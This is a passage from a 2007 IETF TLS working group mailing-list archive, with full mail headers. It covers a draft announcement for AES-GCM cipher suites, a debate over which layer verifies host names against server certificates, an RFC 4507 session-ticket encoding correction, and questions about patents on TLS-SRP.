BzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwBwYFKw4DAgcwDQYIKoZIhvcNAwIC ASgwdAYJKwYBBAGCNxAEMWcwZTBbMQswCQYDVQQGEwJGUjEQMA4GA1UEChMHRWRlbFdlYjEY MBYGA1UECxMPU2VydmljZSBFZGVsUEtJMSAwHgYDVQQDExdFZGVsUEtJIEVkZWxXZWIgUGVy c0dFTgIGCq+KMoDeMHYGCyqGSIb3DQEJEAILMWegZTBbMQswCQYDVQQGEwJGUjEQMA4GA1UE ChMHRWRlbFdlYjEYMBYGA1UECxMPU2VydmljZSBFZGVsUEtJMSAwHgYDVQQDExdFZGVsUEtJ IEVkZWxXZWIgUGVyc0dFTgIGCq+KMoDeMA0GCSqGSIb3DQEBAQUABIGAobywX6nu03xSNGyL HvXqBc3HiO19gZA3sI1Xjcnl0RAUaWlouF9VxavBnVx3m7F0T0C3Chu3FOMJS4F7rt6LnFso p9mJ0NJKI8BW8rwwd7xCcxyOhSnvuUHDDn0Ov26+AjK5BXh3NilapzAbyDXjoqwssjdVUGHD 49fk6PV2k8oAAAAAAAA= --------------ms030601000001070600090801-- --===============1864986852== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls --===============1864986852==-- From tls-bounces@lists.ietf.org Tue Jun 19 16:15:11 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0k6G-0000rn-Oz; Tue, 19 Jun 2007 16:14:52 -0400 Received: from [10.90.34.44] (helo=chiedprmail1.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0jij-0002NV-Qi; Tue, 19 Jun 2007 15:50:34 -0400 Received: from ns3.neustar.com ([156.154.24.138]) by chiedprmail1.ietf.org with esmtp (Exim 4.43) id 1I0jij-0002I4-ET; Tue, 19 Jun 2007 15:50:33 -0400 Received: from stiedprstage1.ietf.org (stiedprstage1.va.neustar.com [10.31.47.10]) by ns3.neustar.com (Postfix) with ESMTP id 9F863175F4; Tue, 19 Jun 2007 19:50:02 +0000 (GMT) Received: from ietf by stiedprstage1.ietf.org with local (Exim 4.43) id 1I0jiE-0004lo-AJ; Tue, 19 Jun 2007 15:50:02 -0400 Content-Type: Multipart/Mixed; Boundary="NextPart" Mime-Version: 1.0 To: i-d-announce@ietf.org From: Internet-Drafts@ietf.org Message-Id: Date: Tue, 19 Jun 2007 15:50:02 -0400 X-Spam-Score: -2.5 (--) X-Scan-Signature: 73734d43604d52d23b3eba644a169745 Cc: tls@ietf.org Subject: [TLS] I-D ACTION:draft-ietf-tls-rsa-aes-gcm-00.txt X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Transport Layer Security Working Group of the IETF. Title : RSA based AES-GCM Cipher Suites for TLS Author(s) : J. Salowey, et al. Filename : draft-ietf-tls-rsa-aes-gcm-00.txt Pages : 9 Date : 2007-6-19 This memo describes the use of the Advanced Encryption Standard (AES) in Galois/Counter Mode (GCM) as a Transport Layer Security (TLS) authenticated encryption operation. GCM provides both confidentiality and data origin authentication, can be efficiently implemented in hardware for speeds of 10 gigabits per second and above, and is also well-suited to software implementations. This memo defines TLS ciphersuites that use AES-GCM with RSA. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-tls-rsa-aes-gcm-00.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-tls-rsa-aes-gcm-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-tls-rsa-aes-gcm-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2007-6-19120737.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-tls-rsa-aes-gcm-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-tls-rsa-aes-gcm-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2007-6-19120737.I-D@ietf.org> --OtherAccess-- --NextPart Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls --NextPart-- From tls-bounces@lists.ietf.org Tue Jun 19 17:54:36 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0leX-0005fs-Bg; Tue, 19 Jun 2007 17:54:21 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0leW-0005fk-ID for tls@lists.ietf.org; Tue, 19 Jun 2007 17:54:20 -0400 Received: from smtpout1439.sc1.he.tucows.com ([64.97.157.139] helo=n034.sc1.he.tucows.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I0leV-0006za-9C for tls@lists.ietf.org; Tue, 19 Jun 2007 17:54:20 -0400 Received: from [192.18.120.70] (192.18.120.70) by n034.sc1.he.tucows.com (7.2.069.1) (authenticated as nelson@bolyard.com) id 466E7EF50017198E; Tue, 19 Jun 2007 21:54:14 +0000 Message-ID: <46785080.70201@bolyard.com> Date: Tue, 19 Jun 2007 14:54:08 -0700 From: Nelson B Bolyard User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9a5pre) Gecko/20070527 SeaMonkey/1.5a MIME-Version: 1.0 CC: tls@lists.ietf.org Subject: Re: [TLS] Re: Encoding of data for Server Name Indication? References: <200706191424.l5JEOkfM021936@fs4113.wdf.sap.corp> In-Reply-To: <200706191424.l5JEOkfM021936@fs4113.wdf.sap.corp> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: e8a67952aa972b528dd04570d58ad8fe X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org Martin Rex wrote: > Paul Hoffman wrote: >> At 10:27 AM +1000 6/19/07, Brad Hards wrote: >>> If I have an internationalised domain name, then the certificate for that >>> domain will have the domain name in a (basically) ACE encoded format. >> >> Correct. >> >>> The human user on the client side is presumably going to use UTF8 or >>> perhaps UTF16 to specify the host they want to connect to. >> >> Correct, but unpredictably so. They type something into a text field >> in the chrome web browser. They click on a link. They run a program >> that has host names in it. And so on. >> >>> Which part of the system is responsible for making sure that the host >>> name and the server certificate match? >> The TLS implementation. > > I violently disagree. I also disagree. The TLS RFC disagree, too, IMO. > The TLS implementation has nothing to do with the concept of > Endpoint identification employed by HTTP over SSL/TLS. > This endpoint identification is the task of some other middleware > layer above TLS. RFC 2246 says: The TLS standard, however, does not specify how protocols add security with TLS; the decisions on [...] how to interpret the authentication certificates exchanged are left up to the judgment of the designers and implementors of protocols which run on top of TLS. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ RFC 2246, in section D.3, and RFC 4346, in section d.2, say Implementations are responsible for verifying the integrity of certificates and should generally support certificate revocation messages. But they say nothing about how the end point decides if the certificate identifies the desired peer end point, or not. And clearly this depends on the protocol running atop TLS. The widely used technique of comparing host names with fields in the cert is defined in section 3.1 of Eric's Informational RFC 2818, which defines https. But that RFC also explains that other techniques may be appropriate in some cases, the and explicitly provides: If the client has external information as to the expected identity of the server, the hostname check MAY be omitted. Speaking for one implementation, NSS: we provide a function that implements the technique of RFC 2818, as a convenience to higher layer applications, such as https, to decide if a cert is or is not the intended one, after it has been verified. Applications are free to use it, or not, as they see fit. /Nelson _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 19 18:25:10 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0m8I-0000ny-7l; Tue, 19 Jun 2007 18:25:06 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0m8H-0000nl-HI for tls@lists.ietf.org; Tue, 19 Jun 2007 18:25:05 -0400 Received: from [128.18.230.194] (helo=delta.rtfm.com) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I0m8G-0006fO-8A for tls@lists.ietf.org; Tue, 19 Jun 2007 18:25:05 -0400 Received: from delta.rtfm.com (localhost.rtfm.com [127.0.0.1]) by delta.rtfm.com (Postfix) with ESMTP id F312533C55; Tue, 19 Jun 2007 15:23:48 -0700 (PDT) Date: Tue, 19 Jun 2007 15:23:48 -0700 From: Eric Rescorla To: Nelson B Bolyard Subject: Re: [TLS] Re: Encoding of data for Server Name Indication? In-Reply-To: <46785080.70201@bolyard.com> References: <200706191424.l5JEOkfM021936@fs4113.wdf.sap.corp> <46785080.70201@bolyard.com> User-Agent: Wanderlust/2.14.0 (Africa) Emacs/21.3 Mule/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Message-Id: <20070619222348.F312533C55@delta.rtfm.com> X-Spam-Score: 0.0 (/) X-Scan-Signature: ea4ac80f790299f943f0a53be7e1a21a Cc: tls@lists.ietf.org X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org At Tue, 19 Jun 2007 14:54:08 -0700, Nelson B Bolyard wrote: > > Martin Rex wrote: > > Paul Hoffman wrote: > >> At 10:27 AM +1000 6/19/07, Brad Hards wrote: > >>> If I have an internationalised domain name, then the certificate for that > >>> domain will have the domain name in a (basically) ACE encoded format. > >> > >> Correct. > >> > >>> The human user on the client side is presumably going to use UTF8 or > >>> perhaps UTF16 to specify the host they want to connect to. > >> > >> Correct, but unpredictably so. They type something into a text field > >> in the chrome web browser. They click on a link. They run a program > >> that has host names in it. And so on. > >> > >>> Which part of the system is responsible for making sure that the host > >>> name and the server certificate match? > > >> The TLS implementation. > > > > I violently disagree. > > I also disagree. The TLS RFC disagree, too, IMO. I disagree as well. -Ekr _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Tue Jun 19 18:37:24 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0mKC-0004TM-89; Tue, 19 Jun 2007 18:37:24 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I0mKA-0004PY-Bh for tls@lists.ietf.org; Tue, 19 Jun 2007 18:37:22 -0400 Received: from balder-227.proper.com ([192.245.12.227]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I0mK8-0001xR-Vs for tls@lists.ietf.org; Tue, 19 Jun 2007 18:37:22 -0400 Received: from [10.20.30.108] (adsl-66-125-125-71.dsl.pltn13.pacbell.net [66.125.125.71]) (authenticated bits=0) by balder-227.proper.com (8.13.5/8.13.5) with ESMTP id l5JMbJd4088512 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 19 Jun 2007 15:37:20 -0700 (MST) (envelope-from paul.hoffman@vpnc.org) Mime-Version: 1.0 Message-Id: In-Reply-To: <20070619222348.F312533C55@delta.rtfm.com> References: <200706191424.l5JEOkfM021936@fs4113.wdf.sap.corp> <46785080.70201@bolyard.com> <20070619222348.F312533C55@delta.rtfm.com> Date: Tue, 19 Jun 2007 15:37:07 -0700 To: tls@lists.ietf.org From: Paul Hoffman Subject: Re: [TLS] Re: Encoding of data for Server Name Indication? Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Spam-Score: 0.0 (/) X-Scan-Signature: 7bac9cb154eb5790ae3b2913587a40de X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org At 3:23 PM -0700 6/19/07, Eric Rescorla wrote: >I disagree as well. OK, I see a pattern. :-) That still doesn't answer what should be done and how. Given the earlier confusion, I think an update of at least SNI is in order. --Paul Hoffman, Director --VPN Consortium _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Thu Jun 21 12:47:37 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I1PoL-0005T1-SX; Thu, 21 Jun 2007 12:47:09 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I1PoK-0005Sq-7Q for tls@ietf.org; Thu, 21 Jun 2007 12:47:08 -0400 Received: from sj-iport-5.cisco.com ([171.68.10.87]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I1PoH-0003j5-Hz for tls@ietf.org; Thu, 21 Jun 2007 12:47:08 -0400 Received: from sj-dkim-4.cisco.com ([171.71.179.196]) by sj-iport-5.cisco.com with ESMTP; 21 Jun 2007 09:47:05 -0700 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgAAAGNIekarR7PEh2dsb2JhbACPJAIJDiw X-IronPort-AV: i="4.16,448,1175497200"; d="scan'208"; a="163690021:sNHT28457289" Received: from sj-core-1.cisco.com (sj-core-1.cisco.com [171.71.177.237]) by sj-dkim-4.cisco.com (8.12.11/8.12.11) with ESMTP id l5LGl4l1011277; Thu, 21 Jun 2007 09:47:04 -0700 Received: from xbh-sjc-231.amer.cisco.com (xbh-sjc-231.cisco.com [128.107.191.100]) by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id l5LGl4XP029435; Thu, 21 Jun 2007 16:47:04 GMT Received: from xmb-sjc-225.amer.cisco.com ([128.107.191.38]) by xbh-sjc-231.amer.cisco.com with Microsoft SMTPSVC(6.0.3790.1830); Thu, 21 Jun 2007 09:47:03 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [TLS] Stateless TLS Session Resumption extension and EAP-FAST. Date: Thu, 21 Jun 2007 09:47:07 -0700 Message-ID: In-Reply-To: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [TLS] Stateless TLS Session Resumption extension and EAP-FAST. Thread-Index: AcdcO18dYchwt6jARjGQj1RE7JzOdgDN6srAFSwQT8A= From: "Joseph Salowey \(jsalowey\)" To: "Joseph Salowey \(jsalowey\)" , "Jan Nordqvist" , X-OriginalArrivalTime: 21 Jun 2007 16:47:03.0879 (UTC) FILETIME=[CBC37D70:01C7B423] DKIM-Signature: v=0.5; a=rsa-sha256; q=dns/txt; l=2957; t=1182444424; x=1183308424; c=relaxed/simple; s=sjdkim4002; h=Content-Type:From:Subject:Content-Transfer-Encoding:MIME-Version; d=cisco.com; i=jsalowey@cisco.com; z=From:=20=22Joseph=20Salowey=20\(jsalowey\)=22=20 |Subject:=20RE=3A=20[TLS]=20Stateless=20TLS=20Session=20Resumption=20exte nsion=20and=20EAP-FAST. |Sender:=20; bh=vlSpvlg271vM63qu4WQqkXEbrUowboorYeg1cUepKI0=; b=D3RJmr+df/sK3LUT1Xm2esde3cquASp7oHFmHTlwzJf9DcngPO9F4cCezXaA0vNBWDl5nUJ9 WQlQZAX5dez0D2cGWr/wb+G8QJpFmIuco4RpLdBFG1RhmXJFvbamwD9z; Authentication-Results: sj-dkim-4; header.From=jsalowey@cisco.com; dkim=pass ( sig from cisco.com/sjdkim4002 verified; ); X-Spam-Score: 0.0 (/) X-Scan-Signature: 6e922792024732fb1bb6f346e63517e4 Cc: X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org We have submitted a draft for an RFC4507bis to correct this problem. It can be found at=20 http://www.ietf.org/internet-drafts/draft-salowey-tls-rfc4507bis-00.txt Please take this opportunity to review the draft correction as we would like to submit the draft for publication soon. Thanks, Joe > -----Original Message----- > From: Joseph Salowey (jsalowey)=20 > Sent: Monday, March 05, 2007 2:18 PM > To: Jan Nordqvist; tls@ietf.org > Subject: RE: [TLS] Stateless TLS Session Resumption extension=20 > and EAP-FAST. >=20 > Hi Jan, >=20 > You are correct, there is an issue with current=20 > implementation. Thanks for pointing this out. Details follow: >=20 > Current EAP-FAST implementations do not format the extension=20 > correctly as to spec. They leave out one of the length fields. >=20 > EAP-FAST implementation: >=20 > struct { > uint16 extensionType =09 > opaque ticket<0..2^16-1> > } SessionTicketExtension >=20 > Example encoding: 00 23 LL LL TT TT TT ... >=20 > LL - ticket length > TT - ticket >=20 > RFC4507: >=20 > > struct { > > opaque ticket<0..2^16-1>; > > } SessionTicket; > > > > struct { > > uint16 extensionType =09 > > opaque SessionTicket<0..2^16-1> > > } SessionTicketExtension > > >=20 > Example encoding: 00 23 LN LN LL LL TT TT TT.... >=20 > LN - length of ticket + 2-bytes >=20 > Joe=20 >=20 > > -----Original Message----- > > From: Jan Nordqvist [mailto:jnordqvist@alcatel-lucent.com] > > Sent: Thursday, March 01, 2007 11:52 AM > > To: tls@ietf.org > > Subject: [TLS] Stateless TLS Session Resumption extension and=20 > > EAP-FAST. > >=20 > > I apologize if this gets duplicated, I had the wrong address > > registered: > >=20 > > During some recent work incorporating EAP-FAST support into our TLS=20 > > stack I have discovered that the devices we use for testing are=20 > > violating the format of the stateless session ticket extension=20 > > definition per RFC-4507. In all instances I have seen, the whole=20 > > SessionTicket is preceded by a two-byte 'type' field, i.e. the=20 > > definition is really > >=20 > > struct { > > uint16 type; > > opaque ticket<0..2^16-1>; > > } SessionTicket; > >=20 > > I don't know the size of deployments of EAP-FAST devices=20 > versus other=20 > > implementations using the session ticket extension, but it=20 > seems that=20 > > either RFC-4507 needs to be updated to reflect what is actually=20 > > implemented or perhaps the extension should be split into two. > >=20 > > Regards, > > Jan Nordqvist > >=20 > >=20 > > _______________________________________________ > > TLS mailing list > > TLS@lists.ietf.org > > https://www1.ietf.org/mailman/listinfo/tls > >=20 >=20 > _______________________________________________ > TLS mailing list > TLS@lists.ietf.org > https://www1.ietf.org/mailman/listinfo/tls >=20 _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Thu Jun 21 17:03:03 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I1Tnm-0005Tt-MO; Thu, 21 Jun 2007 17:02:50 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I1Tnl-0005Tn-0N for tls@lists.ietf.org; Thu, 21 Jun 2007 17:02:49 -0400 Received: from nz-out-0506.google.com ([64.233.162.239]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I1Tnj-0005jx-QI for tls@lists.ietf.org; Thu, 21 Jun 2007 17:02:48 -0400 Received: by nz-out-0506.google.com with SMTP id z6so692186nzd for ; Thu, 21 Jun 2007 14:02:47 -0700 (PDT) DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta; h=domainkey-signature:received:received:message-id:date:from:to:subject:mime-version:content-type; b=BQyYJZiPCdWXHFNsA51biMCOCZmBwlN0iw0lvnpD5NevOfdTF5Vj/eq4qmtcZjUM7VKHTpo6l1L7Q/8Y1lyeRtyC4A86ZUiLQC2wMT/9hYbiWAmaG0uHThz3qVE+ty7+zRuJAuRNjty6LVbp3LpDRb7Sa3UCeXqJLmSyQlFhFLI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta; h=received:message-id:date:from:to:subject:mime-version:content-type; b=DThhtAZAYIk9AuuCgq42qsLJ9pan7yD07pfGRu3a4O2HN7IADv2AL/mnmZwI4Dyq+BUmv+6LIuYx4tFUXUF9rhm9yDPruxd4TnB6OE3tI6XRs9RAtQZu6HVtqkhujitB3nIzlugHTSleQLdocDH11Gu02Yxj1xDaDaCaDqkGl50= Received: by 10.114.190.6 with SMTP id n6mr2131465waf.1182459766347; Thu, 21 Jun 2007 14:02:46 -0700 (PDT) Received: by 10.114.210.11 with HTTP; Thu, 21 Jun 2007 14:02:46 -0700 (PDT) Message-ID: Date: Thu, 21 Jun 2007 17:02:46 -0400 From: "Erwin Davis" To: tls@lists.ietf.org MIME-Version: 1.0 X-Spam-Score: 0.5 (/) X-Scan-Signature: b19722fc8d3865b147c75ae2495625f2 Subject: [TLS] IPR and draft-ietf-tls-srp X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1052481549==" Errors-To: tls-bounces@lists.ietf.org --===============1052481549== Content-Type: multipart/alternative; boundary="----=_Part_138108_2202436.1182459766323" ------=_Part_138108_2202436.1182459766323 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Hi, TLS-SRP folks, Some folks mention IPR issues related to this draft. I wonder if we adopt this draft, does that mean we may potentially violate the IPR granted to the other parties. What about RFC2945 and RFC294? Thanks for your clarification. Regards, e ------=_Part_138108_2202436.1182459766323 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline Hi, TLS-SRP folks,

Some folks mention IPR issues related to this draft. I wonder if we adopt this draft, does that mean we may potentially violate the IPR granted to the other parties. What about RFC2945 and RFC294? Thanks for your clarification. 

Regards,

e
------=_Part_138108_2202436.1182459766323-- --===============1052481549== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls --===============1052481549==-- From tls-bounces@lists.ietf.org Fri Jun 22 18:00:33 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I1rAw-0004EZ-E2; Fri, 22 Jun 2007 18:00:18 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I1rAv-0004EU-72 for tls@lists.ietf.org; Fri, 22 Jun 2007 18:00:17 -0400 Received: from omta01sl.mx.bigpond.com ([144.140.92.153]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I1rAs-0005pt-Ta for tls@lists.ietf.org; Fri, 22 Jun 2007 18:00:17 -0400 Received: from oaamta01sl.mx.bigpond.com ([60.229.40.244]) by omta01sl.mx.bigpond.com with ESMTP id <20070622220012.MEPI1740.omta01sl.mx.bigpond.com@oaamta01sl.mx.bigpond.com> for ; Fri, 22 Jun 2007 22:00:12 +0000 Received: from [127.0.0.1] (really [60.229.40.244]) by oaamta01sl.mx.bigpond.com with ESMTP id <20070622220012.TXPM19191.oaamta01sl.mx.bigpond.com@[127.0.0.1]> for ; Fri, 22 Jun 2007 22:00:12 +0000 Message-ID: <467C466B.50809@bigpond.com> Date: Sat, 23 Jun 2007 08:00:11 +1000 From: David Taylor User-Agent: Thunderbird 1.5.0.12 (Windows/20070509) MIME-Version: 1.0 To: tls@lists.ietf.org Subject: Re: [TLS] IPR and draft-ietf-tls-srp Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Scan-Signature: d6b246023072368de71562c0ab503126 X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: tls-bounces@lists.ietf.org > Some folks mention IPR issues related to this draft. I wonder if we adopt this draft, > does that mean we may potentially violate the IPR granted to the other parties. > What about RFC2945 and RFC294? Thanks for your clarification. I assume "we" means the vendor who implements the draft. Yes, a vendor may be violating the Pheonix and/or Lucent patents if they implement this draft. The fact that those two companies refuse to make a concrete statement that the draft does violate their patents makes it seem like they're relying on FUD rather than science, but it isn't me putting my money where my mouth is. In any case, the IETF itself is not open to any legal issues by making this an RFC. Regards, David Taylor. _______________________________________________ TLS mailing list TLS@lists.ietf.org https://www1.ietf.org/mailman/listinfo/tls From tls-bounces@lists.ietf.org Sat Jun 23 15:22:13 2007 Return-path: Received: from [127.0.0.1] (helo=stiedprmman1.va.neustar.com) by megatron.ietf.org with esmtp (Exim 4.43) id 1I2BAb-0008J1-Nv; Sat, 23 Jun 2007 15:21:17 -0400 Received: from [10.91.34.44] (helo=ietf-mx.ietf.org) by megatron.ietf.org with esmtp (Exim 4.43) id 1I2BAa-0008Iw-Ef for tls@lists.ietf.org; Sat, 23 Jun 2007 15:21:16 -0400 Received: from wa-out-1112.google.com ([209.85.146.181]) by ietf-mx.ietf.org with esmtp (Exim 4.43) id 1I2BAY-00089F-Rj for tls@lists.ietf.org; Sat, 23 Jun 2007 15:21:16 -0400 Received: by wa-out-1112.google.com with SMTP id j4so1210550wah for ; Sat, 23 Jun 2007 12:21:14 -0700 (PDT) DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta; h=domainkey-signature:received:received:message-id:date:from:to:subject:mime-version:content-type; b=hWmPRI7AeeDMEHxlIZkkFG5FBYzjCo0/I4JhAZG8kxWeASR4/aPopuvSM6r3t5EehC8HzAoDdatQTKvvcY1ICgy/zZlkrbYZPzqoFjLIniEpPfFxbn2KhQbGwmdvuxfCwcKc4iZBGaTahO897LMgngfILfL6sESJl4fwUv4Cpsc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta; h=received:message-id:date:from:to:subject:mime-version:content-type; b=jefFD4se/O2segm/KUrA1sJWcmSdk9XWID/3HC80dXis8krmIHAE34eTpCf300EhthA9FeOFqkOkUWfQ3HQZcH5x9yfdmPSoAH4D1tHGSI/F0o0dQYagV0LeyV0Qh5K5ie3cg1LWNC55UUrjfjyo7k0dAuOWhjuHcQd0447Mkss= Received: by 10.114.177.1 with SMTP id z1mr4048937wae.1182626474074; Sat, 23 Jun 2007 12:21:14 -0700 (PDT) Received: by 10.114.210.11 with HTTP; Sat, 23 Jun 2007 12:21:14 -0700 (PDT) Message-ID: Date: Sat, 23 Jun 2007 12:21:14 -0700 From: "Erwin Davis" To: tls@lists.ietf.org Subject: Re: [TLS] IPR and draft-ietf-tls-srp MIME-Version: 1.0 X-Spam-Score: 0.1 (/) X-Scan-Signature: bdc523f9a54890b8a30dd6fd53d5d024 X-BeenThere: tls@lists.ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "This is the mailing list for the Transport Layer Security working group of the IETF." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0278711914==" Errors-To: tls-bounces@lists.ietf.org --===============0278711914== Content-Type: multipart/alternative; boundary="----=_Part_161919_24921998.1182626474053" ------=_Part_161919_24921998.1182626474053 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Hi, Taylor, Thanks for your info. Have Lucent/Pheonix mentioned which patent(s) the draft may conflict with? Any opinion/standview from the implementors of tls-srp about the potential issue? Thanks, e Date: Sat, 23 Jun 2007 08:00:11 +1000 > From: David Taylor > Subject: Re: [TLS] IPR and draft-ietf-tls-srp > To: tls@lists.ietf.org > Message-ID: <467C466B.50809@bigpond.com> > Content-Type: text/plain; charset=ISO-8859-1; format=flowed > > > Some folks mention IPR issues related to this draft. I wonder if we > adopt this draft, > > does that mean we 